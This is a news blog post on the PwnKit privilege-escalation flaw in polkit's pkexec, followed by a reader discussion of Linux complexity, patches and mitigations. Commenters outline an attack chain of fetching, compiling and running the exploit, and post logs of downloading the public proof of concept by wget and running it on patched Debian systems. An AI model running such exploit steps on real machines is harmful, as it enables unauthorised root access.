One of the major reasons behind choosing Linux as an operating system is that it’s much more secure than Windows. There are plenty of reasons for this including appropriate user permissions, installing software from trusted sources and, of course, the fact that most software for Linux including the Linux kernel itself is open source which allows anyone to review the code for vulnerabilities. This doesn’t mean that Linux is perfectly secure though, as researchers recently found a major bug found in most major Linux distributions that allows anyone to run code as the root user.
The exploit is a memory corruption vulnerability in Polkit, a framework that handles the privilege level of various system processes. It specifically impacts the program pkexec. With the proof-of-concept exploit (file download warning) in hand, all an attacker needs to do to escalate themselves to root is to compile the program on the computer and run it as the default user. An example is shown by [Jim MacDonald] on Twitter for those not willing to try this on their own machines.
As bad as this sounds, it seems as though all of the major distributions that this impacts have already released updates that patch the issue, including Debian, Ubuntu, Red Hat, Fedora, open SUSE, and Arch. There is also a temporary workaround that removes read/write permission from the pkexec program so it can’t run at all. That being said, it might be best to check that your Linux systems are all up-to-date and that no strangers have been typing random commands into the terminal recently.
Yah. Pretty much everything ending in …kit, Sytemd, PulseAudio, etc… Linux has gotten too complicated for it’s own good. There’s always going to be some security hole in there. Given the ubiquity of hot-swappable USB devices I wouldn’t quite go back to the old days of manually running mknod but even Udev is kind of a pain in the ass. There seems to have been versions with at least two different config file formats over the years making Google results kind of hit or miss regarding how to configure it.
You can call me old but don’t try to tell me the kids are doing anything superior.
heh i love udevd, but probably only because i can’t confirm what you report — i’ve never found udevd hints online that were out of date. the config file can be a little confusing at first, which can really harsh your buzz if you’re copy-pasting without really understanding. the == vs = for comparison vs side effect can be pretty subtle if you don’t realize it’s there. but so far as i know the config files have not significantly changed in however long i’ve been using udevd.
that’s in stark contrast to everything else…elogind, polkit, systemd, a lot of the new stuff is garbage. they’re aiming for linux desktop but a good plug-and-play desktop environment looks a lot more like chromeos or android than it does like the linux that i know and love.
and they *do* change their config formats a bunch of times! and it’s obscure formats…not like udevd where once you figure out the one subtle = vs == thing, you have command of a generic expressive tool with huge obvious extensibility.
but rather a ton of special single-purpose options that never mean quite what you want and are never documented at all and are always obsoleted by the time you find out about them.
so yeah i find it hillarious that they pointlessly replicated the functionality of sudo, but with more & newer bugs. happily chmod -s /usr/bin/pkexec on the boxes i have that are thus infested. the cool part is, the older machines i have that keep getting apt wedged on some variant of polkit/elogind dependency don’t have it. so, i think my feeling that apt is trying to ruin everything was well-founded.
oh and, speaking of things that are never well-documented and always changing…i’ve had that impression about alsa for 20 years now and i recently went on a quest again to find that it is *still* the case that >50% of online documentation is for obsolete incompatible irrelevant alsa 0.9, and not because there’s so much documentation for alsa 0.9 but because there’s absolutely no documentation for the new version that’s been the standard for well over a decade now. OSS is dead as a door nail and i’ve learned to use ALSA but it’s astonishing to see that the reasons i had for clinging to OSS for years after ALSA came around are still unmitigated.
the tendency to move onto something new before it’s remotely ready wears me out and makes me anxious. i don’t mind a crappy solution, but i do mind a *new* crappy solution. if you haven’t improved on any of the fundamentals, new is just more bugs, more bloat, and a larger dependency hell.
Yeah Greg they’ve really lost the plot. What’s the point of all this “upgrade for your security” (as you eloquently put it) all you’re doing is pulling in more zero day rubbish.
You rather hit the nail on the head there in that the full gui experience, all the ‘connected’ internet stuff, plug and play concepts, and all the fancy 3d graphics etc folks expect of a computer adds soo much complexity, and with such complexity bugs are bound to slip through.
On the other hand nobody really wants to go back to everything being manually configured, by manual changing of configuration files, no doubt with varied config file syntax etc, and then launched from a terminal as an entirely stand alone program – no shared clipboard for instance.. Some degree of security risk from the complexity is a certainty, but in many cases its well worth the cost (said as somebody who is comfortable enough with a terminal that I could probably do everything I’d need to on such a computer without being too inconvenienced)
> On the other hand nobody really wants to go back to everything being manually configured, by manual changing of configuration files
Never trust a GUI unless you can control it by looking at what it does with your config files.
I don’t disagree at all, part of the versatility and magic of the FOSS family is the possibility to do just that, and set up something that for 99% of people makes no sense, but fits your particular needs for this project. But nobody wants computers to go back to everyone needs serious computer skills just to read their email…
That is WAY too charitable.
In fact, basically everything since DBus has been *harder* to configure than just editing a file. Take the slightest step beyond what somebody expected, and suddenly you have to edit *several* files in a synchronized way, and sometimes write code to boot, and then hope that some random program doesn’t decide to undo what you’ve done. And finding those files is not simple.
Way, way too often, “plug and play” amounts to your computer randomly doing stuff that you don’t want, because somebody else lacked the imagination to see why *everybody* wouldn’t *always* want what *they personally usually* want. Then you get to spend a ridiculous amount of time trying to figure out how to avoid having it happen again. And 95 percent of the time it reduces your security.
… and all you need for a “shared clipboard” is an agreed-on filename.
I’m definitely not surprised that somebody found a giant security bug in Polkit. In fact, I’d be surprised if there weren’t 10 more lurking in that mess.
Here is polkit’s rap sheet; so far.
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=polkit
So…. ‘all’ a intruder has to do to exploit the vulnerability is first gain access to the computer, then, download the code, compile it (maybe has to install a compiler?), and run as default user. Doesn’t sound like the sky is falling to me 🙂 .
I work in HPC, we have clusters with thousands of nodes that are accessed by users from all over the world. The users have access to compilers and coding tools on the login nodes because that’s how they do their job. All I need is one of them to lose their SSH key to a hacker and get in to my system and they could cause havoc. So yes, it is a fairly significant thing for many places.
Sure, you’ll be ok if you run your own private cloud.
If you’ve missed out on the last 12 years of progress, here is your day to gloat.
12 years of encapsulations, rearragement, and decorations and tons of patches to make it “works”. In computer science, consevatism prevails with a fragrance of progress.
i congratulate you for finding new territory to explore within poe’s law!
It’s pretty bad. The only reason you have to compile anything to test the exploit is that the test code isn’t released as a binary. An actual attacker only has to gain access to the machine with any account. And they don’t have to sit at the computer, either – getting the user to run their code is enough. It isn’t a zero-click vulnerability, but it might be a one-click.
And, like with many things, attackers can combine exploits to make them worse. There might be another exploit that causes Nautilus to automatically execute some files while indexing or something like that – put the two together and you have a pretty nasty attack.
The only upside is perhaps the bug will make rooting phones easier.
Have you encountered any phone using pkexec?
No, but my old ZigBee files had lots of it.
I don’t think Android uses polkit.
In any case, SafetyNet has made it so that even root access isn’t enough to have full control over your device 🙁
SafetyNet doesn´t manage access rights on android, it just checks your phone for tampering of the OS, system partition and bootloader.
It simply “passes” or “fails”
So what it does is basically checks if your phone was unlocked, rooted, flashed etc.
Oh and it also checks SElinux status (needs to be enforcing, otherwise it fails automatically)
What you mean is probably due to many stock ROMs not allowing rw access to the system partition, even with root permissions.
But this was there even before SafetyNet was born
Hmmm .. lets see… log4shell (or other remote exploit that gains local access), curl or wget the exploit code, compile, run, p0wn the box, pivot, rinse, lather, repeat .
You could use the above with modifications to control most of a webhost if you know what youre doing. GoDaddy and RackSpace have means to detect the above scenario, but like everything made by man, these could be subverted.
So yeah, this is a pretty big deal.
I’m not sure I’d trust GoDaddy to detect their own flatulance, based on their recent leaks and the general way they run things.
The only thing they have an eye out for is another hosting company full of customers they can buy out and run into the ground for short-term profits.
Well, your version of `sky` is a tv subscription, isn’t it?
I could probably write a program/script that does this in 5 minutes, then it’s just a matter of tricking a user into running it. This is a big problem, and should be the main focus of any team of developers involved in the exploitable software.
From another site:
> Red Hat rates the PwnKit as having a Common Vulnerability Scoring System (CVSS) score of 7.8.
> This is high. […] This vulnerability, which has been hiding in plain sight for 12+ years, is a problem with how
> pkexec reads environmental variables. The short version, according to Qualsys, is: “If our PATH is
> “PATH=name=.”, and if the directory “name=.” exists and contains an executable file named “value”, then
> a pointer to the string “name=./value” is written out-of-bounds to envp[0].” While Qualsys won’t be releasing
> a demonstration exploit, the company is sure it won’t take long for exploits to be available. Frankly, it’s not that
> hard to create a PwnKit attack.
> If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a
> temporary mitigation,” adds ZDNet. “For example, this root-powered shell command will
> stop attacks: # chmod 0755 /usr/bin/pkexec.”
I’ve applied that patch to my system, it doesn’t seem to affect normal operation.
Sure would be nice if debian got off their asses and actually made the package they made yesterday available. It’s been nearly 24 hours and still no updates.
Utter disgrace, as is the fact that http://ftp.us.debian.org doesn’t have a valid certificate, and a number of debian mirrors can’t be accessed via HTTPS.
debian relies on its own signing, so i think compromising http is irrelevant. i guess i don’t really know how it works but i think that’s the purpose of the debian-archive-keyring package.
That coding is just an embarrasing n00b programming error.
Why do we have this extra cruft in there with setuid priviledges? It seems that sudo is all that’s needed for me anyway?
I’ll be weeding this out of my systems, and doing an audit of all setuid stuff to see what else the linhux communhity has installed, thanks for the heads up.
I recall reading a similar sentiment somewhere else in discussion on this news. They commented on the 10 or so services in addition to su/sudo that now manage permissions in common distros nowadays.
Suddenly, insisting on Gentoo with OpenRC doesn’t seem so ridiculous.
Slackware has a patch, and that’s all that matters.
Of course, it doesn’t work unless you apply it
Yeah, a heater is useless when it’s not powered on.
And food won’t get you anywhere until you eat it 🙂
Not much of an issue. I have source for many little utils that when run as a regular user elevate me to root. but I need to be root to compile. Bottom line, if you are already root, you own the system. Hey wait, lets patch apache because if I get root access I can recompile apache to give me root!
I feel like there might be some misunderstanding of the issue here.
There’s a difference between compiling and installing. You do not need to be root to compile anything, and simply compiling one of those “little utils” will not enable them to do anything. What gives those commands power is installing them, where you use elevated access to give the commands special permissions (setuid bit).
The only reason the example code needs to be compiled is that they haven’t released pre-compiled binaries. Also, it’s just example code – in the real world, the vulnerability might be exploitable via a bash script or python script or something else. Any real attacker needs only to execute any kind of code on your machine as any user, and they will gain root access. Of course this isn’t the worst thing ever, but if you combine this with some other vulnerability (like, if there was a bug that made the file browser automatically execute some files – that kind of thing) then this would be really really bad.
I don’t have a dog in the hunt, but ya’ll making excuses for every Linux vulnerability that crops up should take a second to self reflect. When a similar Windows bug or virus came up, did you comment on how “oh, you have to have physical access to the machine? This is a nothing burger!” or did you say “ha, idiots with their WinDozE, PLEEBS!!” ?
These issues seem to keep coming up and getting worse and worse. It worries me a bit.
I don’t even have a /usr/bin/pkexec or polkit installed on my server… as Linux systems vary greatly in design.
And yes, Windows is good for Corporate shops with less than 25 concurrent users. That way one can churn over fresh cheap grads every 16 months just like the software. The issue I had was with the licensing fees per node, and unknown users poking around the platform for metadata.
The best tool is the one that works, and you are right that all software is terrible. Half my firewall rules are setup to detect MSSQL and IIS exploit scanners… and virus scanning user email for malware… even though we haven’t deployed windows in 10 years. all admins do this…. You’re welcome. 😉
I think the only people who are making excuses are the ones who didn’t understand anything. Yeah, this is pretty darn serious and it’s quite embarrassing (this is also the point at which I shamelessly plug Rust- the language that probably would have made this bug far less likely).
Sometimes I wish the people of the world would get together in peace and harmony and write a modern operating system in a modern language.
TL;DR: log4j. java is memory safe. java has log4j.
i wonder about rust. the last thing i want to do is go digging around in the source code to pkexec but it looks like the way it improves over sudo is instead of using sudo’s admittedly arcane configuration files, it uses xml. (to digress, it sucks because the xml is extremely verbose and hard to read and they made every possible mistake with regards to attribute vs value, in terms of usability) so, it pulls in libexpat. in fact, it pulls in 24 shared libs. in the world of setuid root, you want to write tiny code that doesn’t pull in any libs because you want all of your security sensitive code to be right in front of you and audited in the context of being security-sensitive code. you don’t want some incidental bug in a features-first/security-never library to compromise your whole system because you gratuitously ran it as root.
tbh, i’m dismayed that sudo uses so many shared libraries (11). but back to rust…
honestly, i don’t buy rust claims, but pretending for a moment that they are true: it really ends buffer overflows forever. rust forces a modular dependency system on developers, encouraging them to pull in a ton of dependencies for every project. i hate it, but most people love it. but in this case, it is going to increase the tendency for security-conscious programs to pull in unnecessary dependencies. this will goofy features that are hard to reason about. not only will your rust-sudo pull in an xml module, but that will pull in a dozen other modules, and so will each of those dozen. you will have two different modules with different pedigrees built into the same project that have the same function. your attack surface will not just be 2x larger or 10x larger. it will probably be much more than 100x larger. and auditing it will be almost impossible, because the dependencies will all update themselves according to the whims of the not-security-focused maintainers.
i can’t claim to know what that adds up to for security but it makes me skeptical. i can very easily imagine a log4j sort of scenario where your tiny security-conscious tool inadvertently gains the ability to parse jpegs using a wrapped C-language library, and a buffer overflow in that library then brings the whole house of cards down. or so on.
^^^ this!!! Very well stated.
[quote]Sometimes I wish the people of the world would get together in peace and harmony and write a modern operating system in a modern language.[/quote] Yeah right, get two people in a room and discuss ‘modern’ OS and language. Then try a 100 people, or a 1000 or…. See how that works! And even if they finally came to a consensus ,,,, the following year it would be obsoleted by the next greatest ‘idea’ or tool 🙂 …
I say don’t worry about it. Software will ‘evolve’ and ‘churn’ with the good floating to the top eventually. Programming is really still in its infancy. And ‘who’ is to say what is ‘good’? Shoot, we can’t even agree on where to put lines of code in a source file …. I know ‘my’ way is best after a lot of coding over the years. Yet, I see in books and on-line ‘dumb’ ways of placing ‘{‘ ‘}’ in code and encouraged as best coding practice 🙂 . zzzzz.
I agree with the Rust remarks by Greg A above. Makes sense to me.
Yes, folks do. In fact, it happens so much that it’s assumed that someone already did once the vulnerability comes out. Besides, most vulnerability testing can be seen as a way of preventing an authorized user from damaging the system through abject error rather than some outsider trying to crack the system to gain access.
chmod 0755 /usr/bin/pkexec
chmod u-s is the more technically correct way to do it, as you just want to remove the suid bit and not touch the read-write-execute permissions (which are 0755 by default but may or may not have been changed). And pkexec may or may not live in /usr/bin depending on your particular distro.
Reading the proof of concept code I love the “bla bla irresponsible disclosure” 🙂
More complexity means more security holes. No way to avoid that. When will we learn.
I hate systemd. Enough said.
But this vulnerability is a minor concern for me. If this was a multi-user system from the old days with a variety
of uncontrolled users it would be a big deal. But an escalation of privilege issue is always a concern.
On the other hand, my distribution is already out with the fix, so life goes on.
I just tried this in Debian (Proxmox 7) and it didn’t work in my case.
greg@proxmox-server:~$ wget “https://haxx.in/files/blasty-vs-pkexec.c”
–2022-01-26 19:18:44– https://haxx.in/files/blasty-vs-pkexec.c
Resolving haxx.in (haxx.in)… 54.37.234.99
Connecting to haxx.in (haxx.in)|54.37.234.99|:443… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2159 (2.1K) [text/x-csrc]
Saving to: ‘blasty-vs-pkexec.c’
blasty-vs-pkexec.c 100%[====================================================================================>] 2.11K –.-KB/s in 0s
2022-01-26 19:18:47 (61.1 MB/s) – ‘blasty-vs-pkexec.c’ saved [2159/2159]
greg@proxmox-server:~$ gcc -o blasty blasty-vs-pkexec.c
greg@proxmox-server:~$ ls -al blasty
-rwxr-xr-x 1 greg greg 17312 Jan 26 19:19 blasty
greg@proxmox-server:~$ ./blasty
[~] compile helper..
[~] maybe get shell now?
greg@proxmox-server:~$ whoami
greg
greg@proxmox-server:~$ cat /etc/os-release
^[[3~PRETTY_NAME=”Debian GNU/Linux 11 (bullseye)”
NAME=”Debian GNU/Linux”
VERSION_ID=”11″
VERSION=”11 (bullseye)”
VERSION_CODENAME=bullseye
ID=debian
Polkit does not seem to be installed by default on Debian server, as well as on Ubuntu Server. So they should be safe from this vulnerability.
Windows and Mac can be much worse.
Mac can be defeated with a keyboard shortcut, a line of text and a couple of restarts. Windows takes a little longer but only because you’ve got to wait for it to boot a little further and make a couple of gui clicks.
Very useful if you have friends who forget their passwords. But with great power comes great responsibility. Fortunately they aren’t very inconspicuous and usually require physical access.
[citation needed]
Can’t speak for Windows these days, but Macs have HD encryption by default. I’m unaware that can be bypassed without hiring an Israeli.
Huh! I do not have a bantha in this problem, as I run Slackware on the majority of my machines. (Something Debian based is on the Pi running but he’s exempt.) And I see that Slackware was not shown in the list.
On the other hand in comments above you will find:
“Michael Black says:
January 26, 2022 at 9:24 am
Slackware has a patch, and that’s all that matters.”
I looked because the wording made me wonder. Was it one of those things that Slackware hasn’t embraced? But it was top of the changelog when I checked.
The intrepid distributions didn’t create patches, surely it came from upstream, and then the listed distributions are simply the ones that have already been patched. But Slackware doesn’t automatically send patches, so we have to apply it. I suspect some of thevery mainstream distributions have already sent it to users.
They don’t. However… I normally don’t run their most recent releases though. In this case what I do have running, or atleast available is a much older release. I do have access to releases from their 14 series. Who would certainly need that patch.
A follow up: I still do not have a bantha in this race, but I do have the most recent release of Slackware available via WSL so naturally I’ll apply all of the security things that the group there has made available.
You know what’s great about blinking an LED with a 555 instead of a raspi? 555s don’t need security updates.
I got 555 problems, but the patch ain’t one
upgrade your raspis people. they can be rooted too 😉
I don’t have this problem because I keep the default password.
Aaaaand … OpenBSD is not affected. True North and paranoia wins!
Does any *BSD have policykit? j/k FreeBSD should be able to start it, I think it’d explode pretty quickly. It isn’t paranoia, they are out to get you. Which north, geographic, magnetic, moral, ethical or political? One of those might not change from time to time.
Debian Bullseye here.
> tomas@trotzki:~$ dpkg -l policykit*
> dpkg-query: no packages found matching policykit*
You don’t /need/ that –uh– stuff.
Debian 11.2 already has the chmod 755. I think, but I am not sure, that some of the 10.x versions already had it as well. So.. . what “modern” distributions of Linux did these folks actually test? Debian 7? Ubuntu Cavorting Camel?
seems like this has some potential for rooting some more android devices like some of the modern Fire tablets that haven’t been rooted yet. *ponder*
Didn’t work in a Proxmox unpriv LXC container running Ubuntu 20.04.3 LTS
link@blasty:~$ ./run-me
[~] compile helper..
[~] maybe get shell now?
link@blasty:~$
Hey @Bryan you quoted an erroneous statement from your source article.
> There is also a temporary workaround that removes read/write permission from the pkexec program
It *DOESN’T* remove the “read/write” permissions. That can’t be done that way. But it *DOES* remove the SUID bit, meaning it now runs as the user who runs it and therefor is no longer capable of switching users let alone becoming root.
IMO any of the *Kit things are gratuitous complexity as Crenshaw would say. I have no need for them. I don’t want them. And on the vast majority of my Linux installs ConsoleKit & PolicyKit (pkexec & friends) are not installed. However I do have it installed on a couple workstations to satisfy package dependencies for CUPS and dependents. So to appropriately neuter pkexec and prevent it from ever being used in an attack chain I issued the following command (Debian based Linux ONLY):
$ sudo dpkg-statoverride –update –add root root 0711 /usr/bin/pkexec
*WARN:* This is essentially a permanent change until you reverse the procedure (see dpkg-statoverride(8)). No future install/upgrade of the PolicyKit package will change the permissions from those specified. One could also reformat and install another OS. If some program on your system actually needs to use pkexec to change users that program will be broken. But for the life of me I can’t figure out why my printer would need to masquerade as another user. Smells like malware to me.
Debian has some marvelous tools for fixing package blunders.
Code checks out alright. Let’s compile it!
sam@debian-acer:~/Downloads/src/securitystuff$ ls
blasty-vs-pkexec.c
sam@debian-acer:~/Downloads/src/securitystuff$ gcc -o blasty blasty-vs-pkexec.c
sam@debian-acer:~/Downloads/src/securitystuff$ ./blasty
[~] compile helper..
[~] maybe get shell now?
pkexec –version |
–help |
–disable-internal-agent |
[–user username] PROGRAM [ARGUMENTS…]
See the pkexec manual page for more details.
sam@debian-acer:~/Downloads/src/securitystuff$ whoami
sam
sam@debian-acer:~/Downloads/src/security$
EPIC FAIL –or– am I missing something?
sam@debian-acer:~/Downloads/src/securitystuff$ apt update
Reading package lists… Done
E: Could not open lock file /var/lib/apt/lists/lock – open (13: Permission denied)
E: Unable to lock directory /var/lib/apt/lists/
W: Problem unlinking the file /var/cache/apt/pkgcache.bin – RemoveCaches (13: Permission denied)
W: Problem unlinking the file /var/cache/apt/srcpkgcache.bin – RemoveCaches (13: Permission denied)
sam@debian-acer:~/Downloads/src/security$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye
sam@debian-acer:~/Downloads/src/security$
Please be kind and respectful to help make the comments section excellent. (Comment Policy)
This site uses Akismet to reduce spam. Learn how your comment data is processed.
By using our website and services, you expressly agree to the placement of our performance, functionality and advertising cookies. Learn more